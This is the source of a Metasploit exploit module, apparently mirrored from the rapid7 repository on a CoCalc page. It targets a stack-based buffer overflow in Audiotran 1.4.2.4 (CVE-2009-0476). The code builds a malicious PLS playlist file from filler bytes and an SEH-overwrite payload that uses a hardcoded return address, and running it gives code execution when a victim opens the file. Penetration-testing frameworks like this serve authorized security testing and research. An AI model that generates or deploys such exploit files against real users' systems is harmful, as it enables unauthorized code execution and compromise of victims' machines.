Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
32983 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Audiotran PLS File Stack Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.
19
An attacker must send the file to victim and the victim must open the file.
20
Alternatively, it may be possible to execute code remotely via an embedded
21
PLS file within a browser when the PLS extension is registered to Audiotran.
22
This alternate vector has not been tested and cannot be exercised directly
23
with this module.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'Philip OKeefe',
28
],
29
'References' => [
30
[ 'CVE', '2009-0476' ],
31
[ 'EDB', '14961' ]
32
],
33
'Payload' => {
34
'Space' => 5000,
35
'BadChars' => "\x00\x0a\x0d\x3d",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Windows Universal', { 'Ret' => 0x1001cd67 } ], # p/p/r from amp3dj.ocx
41
],
42
'Privileged' => false,
43
'DisclosureDate' => '2010-09-09',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
56
]
57
)
58
end
59
60
def exploit
61
sploit = "[playlist]\r\nFile1="
62
sploit << rand_text_alpha_upper(1940)
63
sploit << generate_seh_payload(target.ret)
64
print_status("Creating '#{datastore['FILENAME']}' file ...")
65
file_create(sploit)
66
end
67
end
68
69